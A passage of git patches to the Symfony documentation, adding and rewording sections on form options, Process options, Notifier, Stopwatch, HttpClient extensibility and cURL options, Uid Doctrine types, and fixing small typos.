+.. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/options/choice_translation_domain.rst.inc b/reference/forms/types/options/choice_translation_domain.rst.inc
index de07057bdde..a6e582ccf7a 100644
--- a/reference/forms/types/options/choice_translation_domain.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain.rst.inc
@@ -1,7 +1,7 @@
 ``choice_translation_domain``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string``, ``boolean`` or ``null``
+DEFAULT_VALUE
 
 This option determines if the choice values should be translated and in which
 translation domain.
diff --git a/reference/forms/types/options/choice_translation_domain_disabled.rst.inc b/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
new file mode 100644
index 00000000000..9c5dd6e2436
--- /dev/null
+++ b/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
@@ -0,0 +1,7 @@
+.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
+    :end-before: DEFAULT_VALUE
+
+**type**: ``string``, ``boolean`` or ``null`` **default**: ``false``
+
+.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
+    :start-after: DEFAULT_VALUE
diff --git a/reference/forms/types/options/choice_translation_domain_enabled.rst.inc b/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
new file mode 100644
index 00000000000..53e45bd1eaa
--- /dev/null
+++ b/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
@@ -0,0 +1,7 @@
+.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
+    :end-before: DEFAULT_VALUE
+
+**type**: ``string``, ``boolean`` or ``null`` **default**: ``true``
+
+.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
+    :start-after: DEFAULT_VALUE
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 8f642c3a35b..b6feac13650 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -81,7 +81,7 @@ values.
 Field Options
 -------------
 
-.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
+.. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
 ``placeholder``
 ~~~~~~~~~~~~~~~
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 90954893086..3e76f6edcfe 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -21,7 +21,7 @@ manually, but then you should just use the ``ChoiceType`` directly.
 |             | - `regions`_                                                           |
 +-------------+------------------------------------------------------------------------+
 | Overridden  | - `choices`_                                                           |
-| options     |                                                                        |
+| options     | - `choice_translation_domain`_                                         |
 +-------------+------------------------------------------------------------------------+
 | Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
 | options     |                                                                        |
@@ -87,6 +87,8 @@ The Timezone type defaults the choices to all timezones returned by
     will also have to set the ``choice_loader`` option to ``null``. Not doing
     so is deprecated since Symfony 3.3.
 
+.. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
+
 Inherited Options
 -----------------
 

From c5c006ffff68c276026d7fd82c6396699ddb43ae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 12 Sep 2020 15:11:15 +0200
Subject: [PATCH 1137/7107] [Process] Document the method to configure options

---
 components/process.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/components/process.rst b/components/process.rst
index c7b286fec71..c70c602ac98 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -102,6 +102,21 @@ with a non-zero code)::
     :method:`Symfony\\Component\\Process\\Process::getLastOutputTime` method.
     This method returns ``null`` if the process wasn't started!
 
+Configuring Process Options
+---------------------------
+
+.. versionadded:: 5.2
+
+    The feature to configure process options was introduced in Symfony 5.2.
+
+Symfony uses the PHP :phpfunction:`proc_open` function to run the processes.
+You can configure the options passed to the ``other_options`` argument of
+``proc_open()`` using the ``setOptions()`` method::
+
+    $process = new Process(['...', '...', '...']);
+    // this option allows a subprocess to continue running after the main script exited
+    $process->setOptions(['create_new_console' => true]);
+
 Using Features From the OS Shell
 --------------------------------
 

From 0e3d907dbd7358d24ee01c77dc1a92c2d55483d7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 12 Sep 2020 15:24:23 +0200
Subject: [PATCH 1138/7107] [Cache] Mention the changes in prefix_seed

---
 reference/configuration/framework.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6710badcece..b443750a124 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2716,6 +2716,12 @@ It's also useful when using `blue/green deployment`_ strategies and more
 generally, when you need to abstract out the actual deployment directory (for
 example, when warming caches offline).
 
+.. versionadded:: 5.2
+
+    Starting from Symfony 5.2, the ``%kernel.container_class%`` parameter is no
+    longer appended automatically to the value of this option. This allows
+    sharing caches between applications or different environments.
+
 .. _reference-lock:
 
 lock

From 12c71a6e2f83f44033ba7239eba334c300f11297 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 12 Sep 2020 15:51:52 +0200
Subject: [PATCH 1139/7107] Tweaks

---
 notifier.rst          | 10 +++++++++-
 notifier/chatters.rst | 10 +++++++---
 notifier/texters.rst  | 10 +++++++---
 3 files changed, 23 insertions(+), 7 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index ea066e5ed00..9d0b5148553 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -376,7 +376,7 @@ To send a notification, autowire the
             );
 
             // Send the notification to the recipient
-            $notifier->send($notification, $recipient);
+            $sentMessage = $notifier->send($notification, $recipient);
 
             // ...
         }
@@ -387,6 +387,14 @@ channels. The channels specify which channel (or transport) should be used
 to send the notification. For instance, ``['email', 'sms']`` will send
 both an email and sms notification to the user.
 
+The ``send()`` method used to send the notification returns a variable of type
+:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
+information such as the message ID and the original message contents.
+
+.. versionadded:: 5.2
+
+    The ``SentMessage`` class was introduced in Symfony 5.2.
+
 The default notification also has a ``content()`` and ``emoji()`` method to
 set the notification content and icon.
 
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index fa8392f4a48..efbd040593e 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -38,9 +38,13 @@ you to send messages to chat services like Slack or Telegram::
         }
     }
 
-The ``$sentMessage`` (instance of
-:class:`Symfony\\Component\\Notifier\\Message\\SentMessage`) returned by
-``send()`` contains info about the sent message.
+The ``send()`` method returns a variable of type
+:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
+information such as the message ID and the original message contents.
+
+.. versionadded:: 5.2
+
+    The ``SentMessage`` class was introduced in Symfony 5.2.
 
 .. seealso::
 
diff --git a/notifier/texters.rst b/notifier/texters.rst
index bd9ec44ebcd..eb663b13726 100644
--- a/notifier/texters.rst
+++ b/notifier/texters.rst
@@ -39,9 +39,13 @@ you to send SMS messages::
         }
     }
 
-The ``$sentMessage`` (instance of
-:class:`Symfony\\Component\\Notifier\\Message\\SentMessage`) returned by
-``send()`` contains info about the sent message.
+The ``send()`` method returns a variable of type
+:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
+information such as the message ID and the original message contents.
+
+.. versionadded:: 5.2
+
+    The ``SentMessage`` class was introduced in Symfony 5.2.
 
 .. seealso::
 

From 5d971ee2f4cefd89b51dd35fed317bfb1a52da6f Mon Sep 17 00:00:00 2001
From: Ahmad Ra'fat <ahmed.raafat1412@Gmail.com>
Date: Mon, 27 Jul 2020 14:03:28 +0200
Subject: [PATCH 1140/7107] [Stopwatch] Add name property to the stopwatchEvent

---
 components/stopwatch.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/stopwatch.rst b/components/stopwatch.rst
index e6e11d9c53e..c0265f272e5 100644
--- a/components/stopwatch.rst
+++ b/components/stopwatch.rst
@@ -102,6 +102,7 @@ For example::
     $event->getEndTime();    // returns the end time of the very last period
     $event->getDuration();   // returns the event duration, including all periods
     $event->getMemory();     // returns the max memory usage of all periods
+    $event->getName();       // returns the event name
 
 Sections
 --------

From fc9ab91cc45500444742f7b393574793c8ad5453 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 12 Sep 2020 15:56:01 +0200
Subject: [PATCH 1141/7107] Added the versionadded directive

---
 components/stopwatch.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/stopwatch.rst b/components/stopwatch.rst
index c0265f272e5..d381d3316a5 100644
--- a/components/stopwatch.rst
+++ b/components/stopwatch.rst
@@ -104,6 +104,10 @@ For example::
     $event->getMemory();     // returns the max memory usage of all periods
     $event->getName();       // returns the event name
 
+.. versionadded:: 5.2
+
+    The ``getName()`` method was introduced in Symfony 5.2.
+
 Sections
 --------
 

From 729c7df5d62d2d9adce8d0ef120a192a523b7fc9 Mon Sep 17 00:00:00 2001
From: pizzaminded <pizzaminded@users.noreply.github.com>
Date: Mon, 7 Sep 2020 23:09:12 +0200
Subject: [PATCH 1142/7107] [HttpClient] Providing additional options to
 CurlHttpClient section

---
 http_client.rst | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index a1d8c4bd0a3..8814f8f2292 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -728,6 +728,39 @@ When using this component in a full-stack Symfony application, this behavior is
 not configurable and cURL will be used automatically if the cURL PHP extension
 is installed and enabled. Otherwise, the native PHP streams will be used.
 
+Providing Additional Options to CurlHttpClient
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It is possible to provide additional cURL options to ``CurlHttpClient``. PHP exposes
+a lot of `cURL options`_ that can be passed to ``curl_setopt`` function, but only some
+of them are used in ``CurlHttpClient`` in favor of bigger component portability.
+
+To provide cURL-related parameters to request, add an ``extra.curl`` option in your
+configuration::
+
+    use Symfony\Component\HttpClient\CurlHttpClient;
+
+    $client = new CurlHttpClient();
+
+    $client->request('POST', 'https://...', [
+        // ...
+        'extra' => [
+            'curl' => [
+                CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V6
+            ]
+        ]
+    ]);
+
+
+This option is available only when using ``CurlHttpClient``, other clients will ignore these options.
+
+.. note::
+
+    Some cURL options are impossible to override due of. e.g Thread Safety or existing options in
+    ``$options`` configuration which will set given attributes internally. An exception will be
+    thrown while overriding them.
+
+
 HTTP/2 Support
 ~~~~~~~~~~~~~~
 
@@ -1391,3 +1424,4 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts
 .. _`Symfony Contracts`: https://github.com/symfony/contracts
 .. _`libcurl`: https://curl.haxx.se/libcurl/
 .. _`amphp/http-client`: https://packagist.org/packages/amphp/http-client
+.. _`cURL options`: https://www.php.net/manual/en/function.curl-setopt.php

From 935ea466268a7376594ab08902eb643e17d8b267 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 12 Sep 2020 16:06:44 +0200
Subject: [PATCH 1143/7107] Minor reword

---
 http_client.rst | 27 +++++++++++++--------------
 1 file changed, 13 insertions(+), 14 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 8814f8f2292..c34911ceaf6 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -728,15 +728,19 @@ When using this component in a full-stack Symfony application, this behavior is
 not configurable and cURL will be used automatically if the cURL PHP extension
 is installed and enabled. Otherwise, the native PHP streams will be used.
 
-Providing Additional Options to CurlHttpClient
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Configuring CurlHttpClient Options
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It is possible to provide additional cURL options to ``CurlHttpClient``. PHP exposes
-a lot of `cURL options`_ that can be passed to ``curl_setopt`` function, but only some
-of them are used in ``CurlHttpClient`` in favor of bigger component portability.
+.. versionadded:: 5.2
 
-To provide cURL-related parameters to request, add an ``extra.curl`` option in your
-configuration::
+    The feature to configure extra cURL options was introduced in Symfony 5.2.
+
+PHP allows to configure lots of `cURL options`_ via the :phpfunction:`curl_setopt`
+function. In order to make the component more portable when not using cURL, the
+``CurlHttpClient`` only uses some of those options (and they are ignored in the
+rest of clients).
+
+Add an ``extra.curl`` option in your configuration to pass those extra options::
 
     use Symfony\Component\HttpClient\CurlHttpClient;
 
@@ -751,15 +755,10 @@ configuration::
         ]
     ]);
 
-
-This option is available only when using ``CurlHttpClient``, other clients will ignore these options.
-
 .. note::
 
-    Some cURL options are impossible to override due of. e.g Thread Safety or existing options in
-    ``$options`` configuration which will set given attributes internally. An exception will be
-    thrown while overriding them.
-
+    Some cURL options are impossible to override (e.g. because of thread safety)
+    and you'll get an exception when trying to override them.
 
 HTTP/2 Support
 ~~~~~~~~~~~~~~

From 332463025f5990663455767488278c339392ba2b Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 20 Jul 2020 08:08:53 +0200
Subject: [PATCH 1144/7107] Change unit test definition

---
 testing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/testing.rst b/testing.rst
index ce863b7e319..9301a1abca4 100644
--- a/testing.rst
+++ b/testing.rst
@@ -57,8 +57,8 @@ Symfony application.
 Unit Tests
 ----------
 
-A unit test is a test against a single PHP class, also called a *unit*. If you
-want to test the overall behavior of your application, see the section about
+A unit test is a test against a single behavior, also called a *unit*. If you
+want to test the overall way of your application, see the section about
 :ref:`Functional Tests <functional-tests>`.
 
 Writing Symfony unit tests is no different from writing standard PHPUnit

From b310e180a55e238425be593d5e79d9abfd033aad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 12 Sep 2020 16:24:46 +0200
Subject: [PATCH 1145/7107] Reword

---
 testing.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 9301a1abca4..29e62aef3db 100644
--- a/testing.rst
+++ b/testing.rst
@@ -57,9 +57,10 @@ Symfony application.
 Unit Tests
 ----------
 
-A unit test is a test against a single behavior, also called a *unit*. If you
-want to test the overall way of your application, see the section about
-:ref:`Functional Tests <functional-tests>`.
+A `unit test`_ ensures that individual units of source code (e.g. a single class
+or some specific method in some class) meet their design and behave as intended.
+If you want to test an entire feature of your application (e.g. registering as a
+user or generating an invoice), see the section about :ref:`Functional Tests <functional-tests>`.
 
 Writing Symfony unit tests is no different from writing standard PHPUnit
 unit tests. Suppose, for example, that you have an *incredibly* simple class
@@ -1135,5 +1136,6 @@ Learn more
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
 .. _`PHPUnit Bridge component`: https://symfony.com/components/PHPUnit%20Bridge
+.. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php
 .. _`data providers`: https://phpunit.de/manual/current/en/writing-tests-for-phpunit.html#writing-tests-for-phpunit.data-providers

From 5717ed7c683e8ebdb28fca407316a9a3024b4916 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 13 Sep 2020 12:55:15 +0200
Subject: [PATCH 1146/7107] [#14215] Replace dummy with a better alternative

---
 bundles.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles.rst b/bundles.rst
index dc087137fee..bf5a144d4ce 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -45,7 +45,7 @@ Creating a Bundle
 -----------------
 
 This section creates and enables a new bundle to show there are only a few steps required.
-The new bundle is called AcmeTestBundle, where the ``Acme`` portion is a dummy
+The new bundle is called AcmeTestBundle, where the ``Acme`` portion is an example
 name that should be replaced by some "vendor" name that represents you or your
 organization (e.g. ABCTestBundle for some company named ``ABC``).
 

From c8e5dd6aa9d2f1688dbc81af4072bd909b908ed0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 13 Sep 2020 17:02:25 +0200
Subject: [PATCH 1147/7107] Update http_client.rst

Integrating the findings of https://github.com/symfony/symfony/issues/38082#issuecomment-690529165
---
 http_client.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 0d8648643b7..14c73d4eb82 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -642,6 +642,11 @@ when the streams are large)::
         'body' => $formData->bodyToString(),
     ]);
 
+If you need to add a custom HTTP header to the upload, you can do::
+
+    $headers = $formData->getPreparedHeaders()->toArray();
+    $headers[] = 'X-Foo: bar';
+
 Cookies
 ~~~~~~~
 

From 90caccc0f04e7a32671a57a012307b9a950bd31b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 12 Sep 2020 12:27:17 +0200
Subject: [PATCH 1148/7107] [Uid] Mention the new Doctrine types and generators

---
 components/uid.rst | 111 +++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 111 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index c8eee0ece94..f1c569df97d 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -112,6 +112,62 @@ UUID objects created with the ``Uuid`` class can use the following methods
     //   * int < 0 if $uuid1 is less than $uuid4
     $uuid1->compare($uuid4); // e.g. int(4)
 
+Storing UUIDs in Databases
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can store UUID values as any other regular string/binary values in the database.
+However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
+special Doctrine types which convert to/from UUID objects automatically::
+
+    // src/Entity/Product.php
+    namespace App\Entity;
+
+    use Doctrine\ORM\Mapping as ORM;
+
+    /**
+     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
+     */
+    class Product
+    {
+        /**
+         * @ORM\Column(type="uuid")
+         */
+        private $someProperty;
+
+        /**
+         * @ORM\Column(type="uuid_binary")
+         */
+        private $anotherProperty;
+
+        // ...
+    }
+
+There's also a Doctrine generator to help autogenerate UUID values for the
+entity primary keys::
+
+    // there are generators for UUID V1 and V6 too
+    use Symfony\Bridge\Doctrine\Types\UuidV4Generator;
+
+    /**
+     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
+     */
+    class Product
+    {
+        /**
+         * @ORM\Id
+         * @ORM\Column(type="uuid", unique=true)
+         * @ORM\GeneratedValue(strategy="CUSTOM")
+         * @ORM\CustomIdGenerator(class=UuidV4Generator::class)
+         */
+        private $id;
+
+        // ...
+    }
+
+.. versionadded:: 5.2
+
+    The UUID types and generators were introduced in Symfony 5.2.
+
 ULIDs
 -----
 
@@ -172,6 +228,61 @@ ULID objects created with the ``Ulid`` class can use the following methods::
     // this method returns $ulid1 <=> $ulid2
     $ulid1->compare($ulid2); // e.g. int(-1)
 
+Storing ULIDs in Databases
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can store ULID values as any other regular string/binary values in the database.
+However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
+special Doctrine types which convert to/from ULID objects automatically::
+
+    // src/Entity/Product.php
+    namespace App\Entity;
+
+    use Doctrine\ORM\Mapping as ORM;
+
+    /**
+     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
+     */
+    class Product
+    {
+        /**
+         * @ORM\Column(type="ulid")
+         */
+        private $someProperty;
+
+        /**
+         * @ORM\Column(type="ulid_binary")
+         */
+        private $anotherProperty;
+
+        // ...
+    }
+
+There's also a Doctrine generator to help autogenerate ULID values for the
+entity primary keys::
+
+    use Symfony\Bridge\Doctrine\Types\UlidGenerator;
+
+    /**
+     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
+     */
+    class Product
+    {
+        /**
+         * @ORM\Id
+         * @ORM\Column(type="uuid", unique=true)
+         * @ORM\GeneratedValue(strategy="CUSTOM")
+         * @ORM\CustomIdGenerator(class=UlidGenerator::class)
+         */
+        private $id;
+
+        // ...
+    }
+
+.. versionadded:: 5.2
+
+    The ULID types and generator were introduced in Symfony 5.2.
+
 .. _`unique identifiers`: https://en.wikipedia.org/wiki/UID
 .. _`UUIDs`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`ULIDs`: https://github.com/ulid/spec

From 7d88545a37496b7528cb43a651cf625b42e7aac6 Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Sun, 13 Sep 2020 19:25:35 +0200
Subject: [PATCH 1149/7107] toArray method throw exception too

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 0d8648643b7..4cf88621e5c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -896,7 +896,7 @@ Handling Exceptions
 
 When the HTTP status code of the response is in the 300-599 range (i.e. 3xx,
 4xx or 5xx) your code is expected to handle it. If you don't do that, the
-``getHeaders()`` and ``getContent()`` methods throw an appropriate exception, all of
+``getHeaders()``, ``getContent()`` and ``toArray()`` methods throw an appropriate exception, all of
 which implement the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`::
 
     // the response of this request will be a 403 HTTP error

From f41ef122c26ec0bb532dab399d2ba4c9f93af8eb Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Sat, 30 May 2020 15:42:21 +0200
Subject: [PATCH 1150/7107] [HttpClient] add doc about extending and
 AsyncDecoratorTrait

---
 http_client.rst | 104 ++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 104 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 42a4b0388da..7c4c50932ae 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1322,6 +1322,110 @@ This allows using them where native PHP streams are needed::
     // later on if you need to, you can access the response from the stream
     $response = stream_get_meta_data($streamResource)['wrapper_data']->getResponse();
 
+Extensibility
+-------------
+
+In order to extend the behavior of a base HTTP client, decoration is the way to go::
+
+    class MyExtendedHttpClient implements HttpClientInterface
+    {
+        private $decoratedClient;
+
+        public function __construct(HttpClientInterface $decoratedClient = null)
+        {
+            $this->decoratedClient = $decoratedClient ?? HttpClient::create();
+        }
+
+        public function request(string $method, string $url, array $options = []): ResponseInterface
+        {
+            // do what you want here with $method, $url and/or $options
+
+            $response = $this->decoratedClient->request();
+
+            //!\ calling any method on $response here would break async, see below for a better way
+
+            return $response;
+        }
+
+        public function stream($responses, float $timeout = null): ResponseStreamInterface
+        {
+            return $this->decoratedClient->stream($responses, $timeout);
+        }
+    }
+
+A decorator like this one is suited for use cases where processing the
+requests' arguments is enough.
+
+By decorating the ``on_progress`` option, one can
+even implement basic monitoring of the response. But since calling responses'
+methods forces synchronous operations, doing so in ``request()`` breaks async.
+The solution then is to also decorate the response object itself.
+:class:`Symfony\\Component\\HttpClient\\TraceableHttpClient` and
+:class:`Symfony\\Component\\HttpClient\\Response\\TraceableResponse` are good
+examples as a starting point.
+
+.. versionadded:: 5.2
+
+    ``AsyncDecoratorTrait`` was introduced in Symfony 5.2.
+
+In order to help writing more advanced response processors, the component provides
+an :class:`Symfony\\Component\\HttpClient\\AsyncDecoratorTrait`. This trait allows
+processing the stream of chunks as they come back from the network::
+
+    class MyExtendedHttpClient implements HttpClientInterface
+    {
+        use AsyncDecoratorTrait;
+
+        public function request(string $method, string $url, array $options = []): ResponseInterface
+        {
+            // do what you want here with $method, $url and/or $options
+
+            $passthru = function (ChunkInterface $chunk, AsyncContext $context) {
+
+                // do what you want with chunks, e.g. split them
+                // in smaller chunks, group them, skip some, etc.
+
+                yield $chunk;
+            };
+
+            return new AsyncResponse($this->client, $method, $url, $options, $passthru);
+        }
+    }
+
+Because the trait already implements a constructor and the ``stream()`` method,
+you don't need to add them. The ``request()`` method should still be defined;
+it shall return an
+:class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse`.
+
+The custom processing of chunks should happen in ``$passthru``: this generator
+is where you need to write your logic. It will be called for each chunk yielded by
+the underlying client. A ``$passthru`` that does nothing would just ``yield $chunk;``.
+Of course, you could also yield a modified chunk, split the chunk into many
+ones by yielding several times, or even skip a chunk altogether by issuing a
+``return;`` instead of yielding.
+
+In order to control the stream, the chunk passthru receives an
+:class:`Symfony\\Component\\HttpClient\\Response\\AsyncContext` as second
+argument. This context object has methods to read the current state of the
+response. It also allows altering the response stream with methods to create new
+chunks of content, pause the stream, cancel the stream, change the info of the
+response, replace the current request by another one or change the chunk passthru
+itself.
+
+Checking the test cases implemented in
+:class:`Symfony\\Component\\HttpClient\\Response\\Tests\\AsyncDecoratorTraitTest`
+might be a good start to get various working examples for a better understanding.
+Here are the use cases that it simulates:
+
+* retry a failed request;
+* send a preflight request, e.g. for authentication needs;
+* issue subrequests and include their content in the main response's body.
+
+The logic in :class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse` has
+many safety checks that will throw a ``LogicException`` if the chunk passthru
+doesn't behave correctly; e.g. if a chunk is yielded after an ``isLast()`` one,
+or if a content chunk is yielded before an ``isFirst()`` one, etc.
+
 Testing HTTP Clients and Responses
 ----------------------------------
 

From db7298f7d081361867e6d7cf08e2f4dab7c59d45 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Honor=C3=A9=20Hounwanou?= <mercuryseries@gmail.com>
Date: Mon, 14 Sep 2020 10:59:27 -0400
Subject: [PATCH 1151/7107] Fix small typo by removing semicolon

---
 security/experimental_authenticators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index a8c5ee3cc55..83b3199d9ef 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -493,7 +493,7 @@ authenticator, you would initialize the passport like this::
             return new Passport($user, new PasswordCredentials($password), [
                 // $this->userRepository must implement PasswordUpgraderInterface
                 new PasswordUpgradeBadge($password, $this->userRepository),
-                new CsrfTokenBadge('login', $csrfToken);
+                new CsrfTokenBadge('login', $csrfToken),
             ]);
         }
     }

From 70944d04bb7fce37be13ab60a8f62cb0b280e804 Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Sun, 13 Sep 2020 15:19:02 +0200
Subject: [PATCH 1152/7107] Update http_client.rst

---
 http_client.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 4cf88621e5c..c9eaf9007c9 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -197,10 +197,7 @@ The HTTP client also has one configuration option called
 
     .. code-block:: php-standalone
 
-        $client = HttpClient::create([
-            'max_host_connections' => 10,
-            // ...
-        ]);
+        $client = HttpClient::create([], 10);
 
 Scoping Client
 ~~~~~~~~~~~~~~

From fdba62f5b08ea6a333f593d56ba1b30142e98c96 Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Sun, 13 Sep 2020 15:07:57 +0200
Subject: [PATCH 1153/7107] Update http_client.rst : HttpClient::Create()
 standalone

The method `HttpClient::create(array $defaultOptions, ..)` accepts an array of default options as a parameter (without the `default_options` key)
---
 http_client.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index c9eaf9007c9..67ad0efb527 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -138,9 +138,7 @@ You can configure the global options using the ``default_options`` option:
     .. code-block:: php-standalone
 
         $client = HttpClient::create([
-            'default_options' => [
-                'max_redirects' => 7,
-            ],
+             'max_redirects' => 7,
         ]);
 
 Some options are described in this guide:

From 8d28f6b089045459e65245b3d615a07418f6d2d7 Mon Sep 17 00:00:00 2001
From: Andrey Bolonin <andreybolonin@users.noreply.github.com>
Date: Tue, 11 Aug 2020 21:40:16 +0300
Subject: [PATCH 1154/7107] Update custom-transport.rst

---
 messenger/custom-transport.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index e0fbcb3ca23..f4e5531109c 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -35,7 +35,7 @@ The transport object needs to implement the
 and :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\ReceiverInterface`).
 Here is a simplified example of a database transport::
 
-    use Ramsey\Uuid\Uuid;
+    use Symfony\Component\Uid\Uuid;
     use Symfony\Component\Messenger\Envelope;
     use Symfony\Component\Messenger\Stamp\TransportMessageIdStamp;
     use Symfony\Component\Messenger\Transport\Serialization\PhpSerializer;
@@ -108,8 +108,7 @@ Here is a simplified example of a database transport::
         public function send(Envelope $envelope): Envelope
         {
             $encodedMessage = $this->serializer->encode($envelope);
-            $uuid = Uuid::uuid4()->toString();
-
+            $uuid = (string) Uuid::v4();
             // Add a message to the "my_queue" table
             $this->db->createQuery(
                     'INSERT INTO my_queue (id, envelope, delivered_at, handled)

From 9f2f0f1d971394456540a7ccc12c6826fe1bf8d5 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Sat, 13 Jun 2020 19:16:07 +0200
Subject: [PATCH 1155/7107] Update authentication.rst

---
 components/security/authentication.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index bba35d08c7b..8256221fdb6 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -197,7 +197,7 @@ Creating a custom Password Encoder
 There are many built-in password encoders. But if you need to create your
 own, it needs to follow these rules:
